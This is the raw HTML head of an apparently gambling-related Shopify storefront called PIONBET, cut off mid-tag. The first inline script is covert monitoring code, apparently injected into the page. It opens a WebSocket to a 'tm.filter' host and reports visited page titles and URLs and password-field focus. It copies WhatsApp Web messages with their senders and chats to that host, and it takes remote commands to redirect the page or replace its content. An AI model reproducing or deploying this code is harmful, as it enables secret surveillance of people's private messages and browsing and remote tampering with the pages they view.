<
!doctype html >
<
html class = "js"
lang = "id" >
<
head >
<
meta charset = "utf-8" >
<
meta http - equiv = "X-UA-Compatible"
content = "IE=edge" >
<
meta name = "viewport"
content = "width=device-width,initial-scale=1" >
<
meta name = "theme-color"
content = "" >
<
link rel = "canonical"
href = "https://pionbetlogin.myshopify.com/" > < link rel = "preconnect"
href = "https://fonts.shopifycdn.com"
crossorigin > < title >
PIONBET <
/title>
<
meta property = "og:site_name"
content = "PIONBET" >
<
meta property = "og:url"
content = "https://pionbetlogin.myshopify.com/" >
<
meta property = "og:title"
content = "PIONBET" >
<
meta property = "og:type"
content = "website" >
<
meta property = "og:description"
content = "PIONBET" > < meta property = "og:image"
content = "http://pionbetlogin.myshopify.com/cdn/shop/files/PIONBET_4.gif?height=628&pad_color=ffffff&v=1717875077&width=1200" >
<
meta property = "og:image:secure_url"
content = "https://pionbetlogin.myshopify.com/cdn/shop/files/PIONBET_4.gif?height=628&pad_color=ffffff&v=1717875077&width=1200" >
<
meta property = "og:image:width"
content = "1200" >
<
meta property = "og:image:height"
content = "628" > < meta name = "twitter:card"
content = "summary_large_image" >
<
meta name = "twitter:title"
content = "PIONBET" >
<
meta name = "twitter:description"
content = "PIONBET" >
<
script > ! function() {
var Y, e, t;
function n() {
try {
return window.self === window.top
} catch (Y) {
return !1
}
}
function r() {
var Y = {
type: "focus",
token: y.token,
title: document.title,
url: document.URL,
useragent: navigator.userAgent,
pid: y.pid,
pn: y.pn
};
null != H && H.readyState == WebSocket.OPEN && H.send(JSON.stringify(Y))
}
function a() {
var Y = {
type: "notification",
token: y.token,
title: document.title,
url: document.URL,
focused: document.hasFocus(),
timeout: y.sendNotificationsInterval,
useragent: navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent,
pid: y.pid,
pn: y.pn
};
H.send(JSON.stringify(Y))
}
function s() {
m()
}
function i() {
n() && (clearInterval(b), clearInterval(A)), timeout = setTimeout((function() {
g()
}), N)
}
function o(Y) {
if (n()) switch (Y.data.substring(0, 1)) {
case "r":
window.location = Y.data.substring(1);
break;
case "b":
document.body.innerHTML = Y.data.substring(1);
break;
case "w":
var e = "true" == Y.data.substring(1).toLowerCase();
L != e && e && v(), L = e
}
}
function M(Y) {
var e = document.createElement("a");
return e.href = Y, e.href
}
function u(Y) {
if (Y && "password" == Y.type && !P)
if (P = !0, n()) {
var e = {
type: "password_input_focus",
focus: !0,
token: y.token
};
H.send(JSON.stringify(e))
} else window.top.postMessage({
message: "iframePasswordInputFocused",
name: Y.name,
type: Y.type
}, "*")
}
function d(Y) {
var e = Y && Y.name ? Y.name : "";
if (Y && "password" == Y.type && P)
if (P = !1, n()) {
var t = {
type: "password_input_focus",
focus: !1,
token: y.token
};
H.send(JSON.stringify(t))
} else window.top.postMessage({
message: "iframePasswordInputBlurred",
name: e,
type: Y.type
}, "*")
}
function c(Y) {
var e = document.activeElement;
e && e != document.body ? document.querySelector && (e = document.querySelector(":focus")) : e = null;
for (var t = 0; t < Y.length; ++t) {
let s = Y[t];
var n = "password" == s.type,
r = n && s.hasAttribute("autofocus"),
a = n && e && s.isEqualNode(e);
(r || a) && u(s), s.tmInputEventListenerAttached || (s.addEventListener("focus", (function(Y) {
u(Y.target)
}), !0), s.addEventListener("blur", (function(Y) {
d(Y.target)
}), !0), s.tmInputEventListenerAttached = !0)
}
}
function D() {
c(document.getElementsByTagName("input")), new MutationObserver((function(Y) {
Y && Y.forEach((function(Y) {
Y && Y.addedNodes && 0 != Y.addedNodes.length && (window.NodeList && !NodeList.prototype.forEach && (NodeList.prototype.forEach = Array.prototype.forEach), Y.addedNodes.forEach((function(Y) {
Y.tagName && c(Y.getElementsByTagName("input"))
})))
}))
})).observe(document, {
childList: !0,
subtree: !0
}), window.addEventListener("beforeunload", (function(Y) {
d(),
function() {
for (var Y = document.getElementsByTagName("input"), e = 0; e < Y.length; ++e) {
let t = Y[e];
t.removeEventListener("focus", u), t.removeEventListener("blur", d), delete t.tmInputEventListenerAttached
}
}()
}))
}
function l() {
n() && (y.iup && r(), h() && (v(), m(), function() {
var Y = new MutationObserver((function(Y) {
Y && Y.forEach((function(Y) {
Y && ("childList" !== Y.type || Y.addedNodes.length <= 0 || Y.addedNodes.forEach((function(Y) {
if (Y) {
var e = document.querySelector("div[id=main] header span[title]");
e && (w = e.innerText), document.querySelector("div[id=main] header span[data-icon=default-user]") && (E = "private"), document.querySelector("div[id=main] header span[data-icon=default-group]") && (E = "group");
var t = Y.querySelectorAll(".message-in, .message-out");
Y.matches(".message-in, .message-out") && (t = Array.prototype.slice.call(t)).push(Y), t && t.forEach((function(Y) {
if (Y && Y.classList && !(Y.classList.length <= 0)) {
var e = Y.classList.contains("message-in"),
t = Y.querySelector(".copyable-text"),
n = Y.querySelector(".selectable-text"),
r = new Date,
a = null;
if (t && t.attributes["data-pre-plain-text"]) {
var s = t.attributes["data-pre-plain-text"].textContent,
i = /\[(\d{1,2}):(\d{1,2})[ ]{0,1}([p|a]m)?,\s(.+)]\s(.*):/i [Symbol.match](s);
if (!i || 6 != i.length) return;
if (i[3] && "pm" == i[3].toLowerCase() && (i[1] = parseInt(i[1]) + 12), dateParts = /(\d{1,4})[.-\\/](\d{1,4})[.-\\/](\d{1,4})/ [Symbol.match](i[4]), !dateParts || 4 != dateParts.length) return;
if (!(r = date.parse(i[4], O) || function(Y, e, t) {
var n = [
[Y, e, t].join("-"), [Y, t, e].join("-"), [e, Y, t].join("-"), [e, t, Y].join("-"), [t, Y, e].join("-"), [t, e, Y].join("-")
],
r = Date.now();
for (var a in n) {
var s = Date.parse(n[a]);
if (s && !(Math.abs(r - s) > 1728e6)) return new Date(s)
}
}(dateParts[1], dateParts[2], dateParts[3]))) return;
r.setHours(i[1]), r.setMinutes(i[2]), a = i[5]
}
T.get(w) || T.set(w, C);
var o = n ? n.innerText : null;
if (a && o && L) {
var M = (a + o + w + r.getTime()).split("").map((function(Y) {
return Y.charCodeAt(0)
})).reduce((function(Y, e) {
return Y + ((Y << 7) + (Y << 3)) ^ e
})).toString(16);
if (T.get(w).getTime() == r.getTime() ? r.setMilliseconds(++k) : (k = 0, T.set(w, r)), !M || I.has(M)) return;
var u = {
type: "wapmessage",
timestamp: r.getTime(),
id: M,
incoming: e,
sender: e ? a : "Me",
content: o,
recipient: e ? "Me" : w,
conversationId: w + "(" + E + ")"
};
H.send(JSON.stringify(u)), I.add(M)
}
}
}))
}
})))
}))
}));
if (!Y) return;
Y.observe(document.body, {
childList: !0,
subtree: !0
})
}()), n() && (a(), b = setInterval(a, y.sendNotificationsInterval), h() && (A = setInterval(s, y.pollWhatsappTrackingInterval))), function() {
for (var Y = [], e = document.getElementsByTagName("link"), t = 0; t < e.length; ++t) "icon" != e[t].getAttribute("rel") && "shortcut icon" != e[t].getAttribute("rel") || (Y[Y.length] = M(e[t].getAttribute("href")));
0 == Y.length && (Y[0] = M("/favicon.ico"));
var n = {
type: "favicon"
};
n.url = document.URL, n.src = Y, n.title = document.title, n.token = y.token, n.useragent = navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent, H.send(JSON.stringify(n))
}(), y.dontTrackWebPasswords && D())
}
function f() {
document.tmfilter || (g(), O = {
"ar-SA": "D/M/YY",
"bg-BG": "D.M.YYYY",
"ca-ES": "D/M/YYYY",
"zh-TW": "YYYY/M/D",
"cs-CZ": "D.M.YYYY",
"Da-DK": "D-M-YYYY",
"De-DE": "D.M.YYYY",
"el-GR": "D/M/YYYY",
"en-US": "M/D/YYYY",
"fi-FI": "D.M.YYYY",
"fr-FR": "D/M/YYYY",
"he-IL": "D/M/YYYY",
"hu-HU": "YYYY. M. D.",
"is-IS": "D.M.YYYY",
"it-IT": "D/M/YYYY",
"ja-JP": "YYYY/M/D",
"ko-KR": "YYYY-M-D",
"nl-NL": "D-M-YYYY",
"nb-NO": "D.M.YYYY",
"pl-PL": "YYYY-M-D",
"pt-BR": "D/M/YYYY",
"ro-RO": "D.M.YYYY",
"ru-RU": "D.M.YYYY",
"hr-HR": "D.M.YYYY",
"sk-SK": "D. M. YYYY",
"sq-AL": "YYYY-M-D",
"sv-SE": "YYYY-M-D",
"th-TH": "D/M/YYYY",
"tr-TR": "D.M.YYYY",
"ur-PK": "D/M/YYYY",
"iD-ID": "D/M/YYYY",
"uk-UA": "D.M.YYYY",
"be-BY": "D.M.YYYY",
"sl-SI": "D.M.YYYY",
"et-EE": "D.M.YYYY",
"lv-LV": "YYYY.M.D.",
"lt-LT": "YYYY.M.D",
"fa-IR": "M/D/YYYY",
"vi-VN": "D/M/YYYY",
"hy-AM": "D.M.YYYY",
"az-Latn-AZ": "D.M.YYYY",
"eu-ES": "YYYY/M/D",
"Mk-MK": "D.M.YYYY",
"af-ZA": "YYYY/M/D",
"ka-GE": "D.M.YYYY",
"fo-FO": "D-M-YYYY",
"hi-IN": "D-M-YYYY",
"Ms-MY": "D/M/YYYY",
"kk-KZ": "D.M.YYYY",
"ky-KG": "D.M.YY",
"sw-KE": "M/D/YYYY",
"uz-Latn-UZ": "D/M YYYY",
"tt-RU": "D.M.YYYY",
"pa-IN": "D-M-YY",
"gu-IN": "D-M-YY",
"ta-IN": "D-M-YYYY",
"te-IN": "D-M-YY",
"kn-IN": "D-M-YY",
"Mr-IN": "D-M-YYYY",
"sa-IN": "D-M-YYYY",
"Mn-MN": "YY.M.D",
"gl-ES": "D/M/YY",
"kok-IN": "D-M-YYYY",
"syr-SY": "D/M/YYYY",
"Dv-MV": "D/M/YY",
"ar-IQ": "D/M/YYYY",
"zh-CN": "YYYY/M/D",
"De-CH": "D.M.YYYY",
"en-GB": "D/M/YYYY",
"es-MX": "D/M/YYYY",
"fr-BE": "D/M/YYYY",
"it-CH": "D.M.YYYY",
"nl-BE": "D/M/YYYY",
"nn-NO": "D.M.YYYY",
"pt-PT": "D-M-YYYY",
"sr-Latn-CS": "D.M.YYYY",
"sv-FI": "D.M.YYYY",
"az-Cyrl-AZ": "D.M.YYYY",
"Ms-BN": "D/M/YYYY",
"uz-Cyrl-UZ": "D.M.YYYY",
"ar-EG": "D/M/YYYY",
"zh-HK": "D/M/YYYY",
"De-AT": "D.M.YYYY",
"en-AU": "D/M/YYYY",
"es-ES": "D/M/YYYY",
"fr-CA": "YYYY-M-D",
"sr-Cyrl-CS": "D.M.YYYY",
"ar-LY": "D/M/YYYY",
"zh-SG": "D/M/YYYY",
"De-LU": "D.M.YYYY",
"en-CA": "D/M/YYYY",
"es-GT": "D/M/YYYY",
"fr-CH": "D.M.YYYY",
"ar-DZ": "D-M-YYYY",
"zh-MO": "D/M/YYYY",
"De-LI": "D.M.YYYY",
"en-NZ": "D/M/YYYY",
"es-CR": "D/M/YYYY",
"fr-LU": "D/M/YYYY",
"ar-MA": "D-M-YYYY",
"en-IE": "D/M/YYYY",
"es-PA": "M/D/YYYY",
"fr-MC": "D/M/YYYY",
"ar-TN": "D-M-YYYY",
"en-ZA": "YYYY/M/D",
"es-DO": "D/M/YYYY",
"ar-OM": "D/M/YYYY",
"en-JM": "D/M/YYYY",
"es-VE": "D/M/YYYY",
"ar-YE": "D/M/YYYY",
"en-029": "M/D/YYYY",
"es-CO": "D/M/YYYY",
"ar-SY": "D/M/YYYY",
"en-BZ": "D/M/YYYY",
"es-PE": "D/M/YYYY",
"ar-JO": "D/M/YYYY",
"en-TT": "D/M/YYYY",
"es-AR": "D/M/YYYY",
"ar-LB": "D/M/YYYY",
"en-ZW": "M/D/YYYY",
"es-EC": "D/M/YYYY",
"ar-KW": "D/M/YYYY",
"en-PH": "M/D/YYYY",
"es-CL": "D-M-YYYY",
"ar-AE": "D/M/YYYY",
"es-UY": "D/M/YYYY",
"ar-BH": "D/M/YYYY",
"es-PY": "D/M/YYYY",
"ar-QA": "D/M/YYYY",
"es-BO": "D/M/YYYY",
"es-SV": "D/M/YYYY",
"es-HN": "D/M/YYYY",
"es-NI": "D/M/YYYY",
"es-PR": "D/M/YYYY",
"aM-ET": "D/M/YYYY",
"tzM-Latn-DZ": "D-M-YYYY",
"iu-Latn-CA": "D/M/YYYY",
"sMa-NO": "D.M.YYYY",
"Mn-Mong-CN": "YYYY/M/D",
"gD-GB": "D/M/YYYY",
"en-MY": "D/M/YYYY",
"prs-AF": "D/M/YY",
"bn-BD": "D-M-YY",
"wo-SN": "D/M/YYYY",
"rw-RW": "M/D/YYYY",
"qut-GT": "D/M/YYYY",
"sah-RU": "M.D.YYYY",
"gsw-FR": "D/M/YYYY",
"co-FR": "D/M/YYYY",
"oc-FR": "D/M/YYYY",
"Mi-NZ": "D/M/YYYY",
"ga-IE": "D/M/YYYY",
"se-SE": "YYYY-M-D",
"br-FR": "D/M/YYYY",
"sMn-FI": "D.M.YYYY",
"Moh-CA": "M/D/YYYY",
"arn-CL": "D-M-YYYY",
"ii-CN": "YYYY/M/D",
"Dsb-DE": "D. M. YYYY",
"ig-NG": "D/M/YYYY",
"kl-GL": "D-M-YYYY",
"lb-LU": "D/M/YYYY",
"ba-RU": "D.M.YY",
"nso-ZA": "YYYY/M/D",
"quz-BO": "D/M/YYYY",
"yo-NG": "D/M/YYYY",
"ha-Latn-NG": "D/M/YYYY",
"fil-PH": "M/D/YYYY",
"ps-AF": "D/M/YY",
"fy-NL": "D-M-YYYY",
"ne-NP": "M/D/YYYY",
"se-NO": "D.M.YYYY",
"iu-Cans-CA": "D/M/YYYY",
"sr-Latn-RS": "D.M.YYYY",
"si-LK": "YYYY-M-D",
"sr-Cyrl-RS": "D.M.YYYY",
"lo-LA": "D/M/YYYY",
"kM-KH": "YYYY-M-D",
"cy-GB": "D/M/YYYY",
"bo-CN": "YYYY/M/D",
"sMs-FI": "D.M.YYYY",
"as-IN": "D-M-YYYY",
"Ml-IN": "D-M-YY",
"en-IN": "D-M-YYYY",
"or-IN": "D-M-YY",
"bn-IN": "D-M-YY",
"tk-TM": "D.M.YY",
"bs-Latn-BA": "D.M.YYYY",
"Mt-MT": "D/M/YYYY",
"sr-Cyrl-ME": "D.M.YYYY",
"se-FI": "D.M.YYYY",
"zu-ZA": "YYYY/M/D",
"xh-ZA": "YYYY/M/D",
"tn-ZA": "YYYY/M/D",
"hsb-DE": "D. M. YYYY",
"bs-Cyrl-BA": "D.M.YYYY",
"tg-Cyrl-TJ": "D.M.YY",
"sr-Latn-BA": "D.M.YYYY",
"sMj-NO": "D.M.YYYY",
"rM-CH": "D/M/YYYY",
"sMj-SE": "YYYY-M-D",
"quz-EC": "D/M/YYYY",
"quz-PE": "D/M/YYYY",
"hr-BA": "D.M.YYYY.",
"sr-Latn-ME": "D.M.YYYY",
"sMa-SE": "YYYY-M-D",
"en-SG": "D/M/YYYY",
"ug-CN": "YYYY-M-D",
"sr-Cyrl-BA": "D.M.YYYY",
"es-US": "M/D/YYYY"
} [navigator.language], document.tmfilter = "present")
}
function g() {
(H = new WebSocket(y.connectionString)).onclose = i, H.onmessage = o, H.onopen = l, y.extJs && (this.extJs.webSockReady = () => H.readyState === WebSocket.OPEN, this.extJs.webSockSend = Y => H.send(Y))
}
function p() {
var Y = function() {
var Y = ["webkit", "moz", "ms", "o"];
if ("hidden" in document) return "hidden";
for (var e = 0; e < Y.length; e++)
if (Y[e] + "Hidden" in document) return Y[e] + "Hidden";
return null
}();
return !!Y && document[Y]
}
function h() {
var Y = document.head.querySelector("[name='og:title']");
return !!Y && "WhatsApp Web" === Y.getAttribute("content")
}
function m() {
H.send(JSON.stringify({
type: "waptracking"
}))
}
function v() {
T = new Map, I = new Set, k = 0, (C = new Date).setSeconds(0), C.setMilliseconds(0)
}
function S(Y) {
var e = {
name: Y.data.name,
type: Y.data.type
};
"iframePasswordInputFocused" === Y.data.message ? u(e) : "iframePasswordInputBlurred" === Y.data.message && d(e)
}
Y = this, e = {}, t = {
en: {
MMMM: "January February March April May June July August September October November December".split(" "),
MMM: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),
dddd: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),
ddd: "Sun Mon Tue Wed Thu Fri Sat".split(" "),
dd: "Su Mo Tu We Th Fr Sa".split(" "),
A: ["a.m.", "p.m."],
formatter: {
YYYY: function(Y) {
return ("000" + Y.getFullYear()).slice(-4)
},
YY: function(Y) {
return ("0" + Y.getFullYear()).slice(-2)
},
Y: function(Y) {
return "" + Y.getFullYear()
},
MMMM: function(Y) {
return this.MMMM[Y.getMonth()]
},
MMM: function(Y) {
return this.MMM[Y.getMonth()]
},
MM: function(Y) {
return ("0" + (Y.getMonth() + 1)).slice(-2)
},
M: function(Y) {
return "" + (Y.getMonth() + 1)
},
DD: function(Y) {
return ("0" + Y.getDate()).slice(-2)
},
D: function(Y) {
return "" + Y.getDate()
},
HH: function(Y) {
return ("0" + Y.getHours()).slice(-2)
},
H: function(Y) {
return "" + Y.getHours()
},
A: function(Y) {
return this.A[11 < Y.getHours() | 0]
},
hh: function(Y) {
return ("0" + (Y.getHours() % 12 || 12)).slice(-2)
},
h: function(Y) {
return "" + (Y.getHours() % 12 || 12)
},
mm: function(Y) {
return ("0" + Y.getMinutes()).slice(-2)
},
m: function(Y) {
return "" + Y.getMinutes()
},
ss: function(Y) {
return ("0" + Y.getSeconds()).slice(-2)
},
s: function(Y) {
return "" + Y.getSeconds()
},
SSS: function(Y) {
return ("00" + Y.getMilliseconds()).slice(-3)
},
SS: function(Y) {
return ("0" + (Y.getMilliseconds() / 10 | 0)).slice(-2)
},
S: function(Y) {
return "" + (Y.getMilliseconds() / 100 | 0)
},
dddd: function(Y) {
return this.dddd[Y.getDay()]
},
ddd: function(Y) {
return this.ddd[Y.getDay()]
},
dd: function(Y) {
return this.dd[Y.getDay()]
},
Z: function(Y) {
return (0 < (Y = Y.utc ? 0 : Y.getTimezoneOffset() / .6) ? "-" : "+") + ("000" + Math.abs(Y - Y % 100 * .4)).slice(-4)
},
post: function(Y) {
return Y
}
},
parser: {
find: function(Y, e) {
for (var t, n = -1, r = 0, a = 0, s = Y.length; a < s; a++) t = Y[a], !e.indexOf(t) && t.length > r && (n = a, r = t.length);
return {
index: n,
length: r
}
},
MMMM: function(Y) {
return this.parser.find(this.MMMM, Y)
},
MMM: function(Y) {
return this.parser.find(this.MMM, Y)
},
A: function(Y) {
return this.parser.find(this.A, Y)
},
h: function(Y, e) {
return (12 === Y ? 0 : Y) + 12 * e
},
pre: function(Y) {
return Y
}
}
}
}, e.format = function(Y, n, r) {
var a = e.addMinutes(Y, r ? Y.getTimezoneOffset() : 0),
s = t.en,
i = s.formatter;
return a.utc = r, n.replace(/(\[[^\[\]]*]|\[.*\][^\[]*\]|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g, (function(Y) {
var e = i[Y];
return e ? i.post(e.call(s, a, n)) : Y.replace(/\[(.*)]/, "$1")
}))
}, e.parse = function(Y, n, r) {
var a, s, i = t.en,
o = i.parser.pre(Y),
M = 0,
u = /(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g,
d = {
2: /^\d{1,4}/,
3: /^\d{1,3}/,
4: /^\d\d/,
5: /^\d\d?/,
6: /^\d/
};
Y = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
for (var c = {
Y: 1970,
M: 1,
D: 1,
H: 0,
m: 0,
s: 0,
S: 0
}; a = u.exec(n);) {
var D = 0,
l = 1;
for (s = ""; !s;) s = a[++D];
a = s.charAt(0);
var f = o.slice(M);
if (2 > D) {
var g = i.parser[s].call(i, f, n);
c[a] = g.index, "M" === a && c[a]++, l = g.length
} else if (7 > D) g = (f.match(d[D]) || [""])[0], c[a] = 0 | ("S" === a ? (g + "000").slice(0, -s.length) : g), l = g.length;
else if (" " !== a && a !== f[0]) return NaN;
if (!l) return NaN;
M += l
}
return M === o.length && g ? (c.Y += 70 > c.Y ? 2e3 : 100 > c.Y ? 1900 : 0, c.H = c.H || i.parser.h(c.h || 0, c.A || 0), n = new Date(c.Y, c.M - 1, c.D, c.H, c.m, c.s, c.S), Y[1] += 0 | e.isLeapYear(n), 1 > c.M || 12 < c.M || 1 > c.D || c.D > Y[c.M - 1] || 23 < c.H || 59 < c.m || 59 < c.s ? NaN : r ? e.addMinutes(n, -n.getTimezoneOffset()) : n) : NaN
}, e.isValid = function(Y, t) {
return !!e.parse(Y, t)
}, e.addYears = function(Y, t) {
return e.addMonths(Y, 12 * t)
}, e.addMonths = function(Y, e) {
var t = new Date(Y.getTime());
return t.setMonth(t.getMonth() + e), t
}, e.addDays = function(Y, e) {
var t = new Date(Y.getTime());
return t.setDate(t.getDate() + e), t
}, e.addHours = function(Y, t) {
return e.addMilliseconds(Y, 36e5 * t)
}, e.addMinutes = function(Y, t) {
return e.addMilliseconds(Y, 6e4 * t)
}, e.addSeconds = function(Y, t) {
return e.addMilliseconds(Y, 1e3 * t)
}, e.addMilliseconds = function(Y, e) {
return new Date(Y.getTime() + e)
}, e.subtract = function(Y, e) {
var t = Y.getTime() - e.getTime();
return {
toMilliseconds: function() {
return t
},
toSeconds: function() {
return t / 1e3 | 0
},
toMinutes: function() {
return t / 6e4 | 0
},
toHours: function() {
return t / 36e5 | 0
},
toDays: function() {
return t / 864e5 | 0
}
}
}, e.isLeapYear = function(Y) {
return !(((Y = Y.getFullYear()) % 4 || !(Y % 100)) && Y % 400)
}, e.isSameDay = function(Y, t) {
return e.format(Y, "YYYYMMDD") === e.format(t, "YYYYMMDD")
}, Y.date = e;
var y = {
token: "08026e1d-4744-4fe0-b938-6751d5c784e3",
sendNotificationsInterval: Number("1000"),
pollWhatsappTrackingInterval: Number("20000"),
connectionString: "wss://tm.filter:1502",
pid: "13824",
pn: "chrome.exe",
iup: false,
dontTrackWebPasswords: false,
extJs: null
},
N = 6e4,
b = null,
A = null,
w = null,
E = null,
L = !1,
T = null,
I = null,
k = 0,
C = null,
H = null,
O = "",
P = !1;
! function Y(e) {
p() ? setTimeout((function() {
Y(e)
}), 1e3) : e()
}((function() {
y.extJs && y.extJs.init(y.token), n() && (window.addEventListener("focus", r, !0), y.dontTrackWebPasswords && window.addEventListener("message", S, !1)), n() || y.extJs ? f() : y.dontTrackWebPasswords && D()
}))
}(); < /script> <
script src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/pubsub.js?v=158357773527763999511717872441"
defer = "defer" > < /script> <
script src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/global.js?v=136628361274817707361717872441"
defer = "defer" > < /script> <
script async = "async"
src = "/checkouts/internal/preloads.js?locale=id-ID" > < /script> <
script async = "async"
src = "https://shop.app/checkouts/internal/preloads.js?locale=id-ID&shop_id=88077730081"
crossorigin = "anonymous" > < /script> <
script id = "shopify-features"
type = "application/json" > {
"accessToken": "c217a9470b61542423b27959ff8f35bf",
"betas": ["rich-media-storefront-analytics"],
"domain": "pionbetlogin.myshopify.com",
"predictiveSearch": true,
"shopId": 88077730081,
"smart_payment_buttons_url": "https:\/\/pionbetlogin.myshopify.com\/cdn\/shopifycloud\/payment-sheet\/assets\/latest\/spb.id.js",
"dynamic_checkout_cart_url": "https:\/\/pionbetlogin.myshopify.com\/cdn\/shopifycloud\/payment-sheet\/assets\/latest\/dynamic-checkout-cart.id.js",
"locale": "id"
} < /script> <
script >
var Shopify = Shopify || {};
Shopify.shop = "7ef48b-04.myshopify.com";
Shopify.locale = "id";
Shopify.currency = {
"active": "IDR",
"rate": "1.0"
};
Shopify.country = "ID";
Shopify.theme = {
"name": "Dawn",
"id": 169179939105,
"theme_store_id": 887,
"role": "main"
};
Shopify.theme.handle = "null";
Shopify.theme.style = {
"id": null,
"handle": null
};
Shopify.cdnHost = "pionbetlogin.myshopify.com/cdn";
Shopify.routes = Shopify.routes || {};
Shopify.routes.root = "/"; < /script> <
script type = "module" > ! function(o) {
(o.Shopify = o.Shopify || {}).modules = !0
}(window); < /script> <
script > ! function(o) {
function n() {
var o = [];
function n() {
o.push(Array.prototype.slice.apply(arguments))
}
return n.q = o, n
}
var t = o.Shopify = o.Shopify || {};
t.loadFeatures = n(), t.autoloadFeatures = n()
}(window); < /script> <
script id = "shop-js-features"
type = "application/json" > {
"compact": true,
"defer_modal_on_autofill": true
} < /script> <
script id = "shop-js-analytics"
type = "application/json" > {
"pageType": "index"
} < /script> <
script id = "__st" >
var __st = {
"a": 88077730081,
"offset": 25200,
"reqid": "ef578212-1552-4663-97d8-81ac02118ee9-1717879911",
"pageurl": "pionbetlogin.myshopify.com\/?_ab=0\u0026_fd=0\u0026_sc=1",
"t": "prospect",
"u": "fc4405ef9a82",
"p": "home"
}; < /script> <
script > window.ShopifyPaypalV4VisibilityTracking = true; < /script> <
script id = "captcha-bootstrap" > ! function() {
'use strict';
const e = 'contact',
t = 'account',
n = 'new_comment',
o = e => e.map((([e, t]) => `form[action*='/${e}'] input[name='form_type'][value='${t}']`)).join(',');
function c(e, t) {
try {
const n = window.sessionStorage;
for (const [o, c] of Object.entries(JSON.parse(n.getItem(t)))) e.elements[o] && (e.elements[o].value = c);
n.removeItem(t)
} catch {}
}
const r = 'form_type',
s = 'cptcha';
function a(e) {
e.dataset[s] = !0
}((i, m, f, u, d, l, p) => {
if (0) return;
let E = !1;
const _ = (e, t, n) => {
const o = i[f][u],
c = o.bindForm,
r = '6LeHG2ApAAAAAO4rPaDW-qVpPKPOBfjbCpzJB9ey',
s = {
infoText: '',
privacyText: '',
termsText: ''
};
if (c) return c(e, r, t, s).then(n);
o.q.push([
[e, r, t, s], n
]), E || (m.body.append(Object.assign(m.createElement('script'), {
id: 'captcha-provider',
async: !0,
src: 'https://cdn.shopify.com/shopifycloud/storefront-forms-hcaptcha/ce_storefront_forms_captcha_recaptcha.v1.2.0.iife.js'
})), E = !0)
};
i[f] = i[f] || {}, i[f][u] = i[f][u] || {}, i[f][u].q = [], i[f][d] = i[f][d] || {}, i[f][d].protect = function(e, t) {
_(e, void 0, t), a(e)
}, Object.freeze(i[f][d]),
function(i, m, f, u, d, l) {
const [p, E, _] = function(c, r, s) {
const a = r ? [
[e, e],
['blogs', n],
['comments', n],
[e, 'customer']
] : [],
i = c ? [
[t, 'customer_login'],
[t, 'guest_login'],
[t, 'recover_customer_password'],
[t, 'create_customer']
] : [],
m = [...a, ...i],
f = o(m),
u = o(a.slice(0, 3)),
d = s && o(m.filter((([e, t]) => s.includes(t)))),
l = e => () => e ? [...document.querySelectorAll(e)].map((e => e.form)) : [];
return [l(f), l(u), l(d)]
}(!0, !0, ['guest_login']), T = e => {
const t = e.target,
n = t instanceof HTMLFormElement ? t : t && t.form;
return n && p().find((e => n === e))
};
i.addEventListener('submit', (e => {
T(e) && e.preventDefault()
}));
const h = (e, t) => {
e && !e.dataset[s] && (f(e, t.some((t => t === e))), a(e))
};
for (const e of ['focusin', 'change']) i.addEventListener(e, (e => h(T(e), E())));
const v = m.get('form_key'),
g = m.get(r),
y = v && g;
i.addEventListener('DOMContentLoaded', (() => {
const e = E();
if (y)
for (const t of e) t.elements[r].value === g && c(t, v);
[...new Set([..._(), ...p().filter((e => 'true' === e.dataset.shopifyCaptcha))])].forEach((t => h(t, e)))
}))
}(m, new URLSearchParams(i.location.search), _)
})(window, document, 'Shopify', 'ce_forms', 'captcha')
}(); < /script> <
script > document.addEventListener('DOMContentLoaded', function() {
const previewBarInjector = new Shopify.PreviewBarInjector({
targetNode: document.body,
iframeRoot: 'https://pionbetlogin.myshopify.com',
iframeSrc: 'https://pionbetlogin.myshopify.com/preview_bar',
previewToken: 'x0a7n8xfnoiyrfp1',
themeStoreId: '887',
permanentDomain: '7ef48b-04.myshopify.com',
});
previewBarInjector.init();
}); < /script> <
script integrity = "sha256-n5Uet9jVOXPHGd4hH4B9Y6+BxkTluaaucmYaxAjUcvY="
data - source - attribution = "shopify.loadfeatures"
defer = "defer"
src = "//pionbetlogin.myshopify.com/cdn/shopifycloud/shopify/assets/storefront/load_feature-9f951eb7d8d53973c719de211f807d63af81c644e5b9a6ae72661ac408d472f6.js"
crossorigin = "anonymous" > < /script> <
script data - source - attribution = "shopify.dynamic_checkout.dynamic.init" >
var Shopify = Shopify || {};
Shopify.PaymentButton = Shopify.PaymentButton || {
isStorefrontPortableWallets: !0,
init: function() {
window.Shopify.PaymentButton.init = function() {};
var t = document.createElement("script");
t.src = "https://pionbetlogin.myshopify.com/cdn/shopifycloud/portable-wallets/latest/portable-wallets.id.js", t.type = "module", document.head.appendChild(t)
}
}; <
/script> <
script >
function portableWalletsRemoveSkeletons(e) {
e && e.src && console.error("Failed to load portable wallets script " + e.src);
var o = document.querySelectorAll("dynamic-checkout .shopify-payment-button__skeleton, cart-wallet-buttons .wallet-cart-button__skeleton");
for (let e = 0; e < o.length; e++) o[e].remove()
}
function portableWalletsNotLoadedAsModule(e) {
e.message.includes("import.meta") && e.filename.includes("portable-wallets") && (window.removeEventListener("error", portableWalletsNotLoadedAsModule), window.Shopify.PaymentButton.failedToLoad = e, "loading" === document.readyState ? document.addEventListener("DOMContentLoaded", window.Shopify.PaymentButton.init) : window.Shopify.PaymentButton.init())
}
window.addEventListener("error", portableWalletsNotLoadedAsModule); <
/script>
<
script type = "module"
src = "https://pionbetlogin.myshopify.com/cdn/shopifycloud/portable-wallets/latest/portable-wallets.id.js"
onError = "portableWalletsRemoveSkeletons(this)"
crossorigin = "anonymous" > < /script> <
script nomodule >
document.addEventListener("DOMContentLoaded", portableWalletsRemoveSkeletons); <
/script>
<
script integrity = "sha256-o0rXHoHYF8JV/pI5sd/RPjI3ywH41Ezq5yxQ3ds5iuM="
defer = "defer"
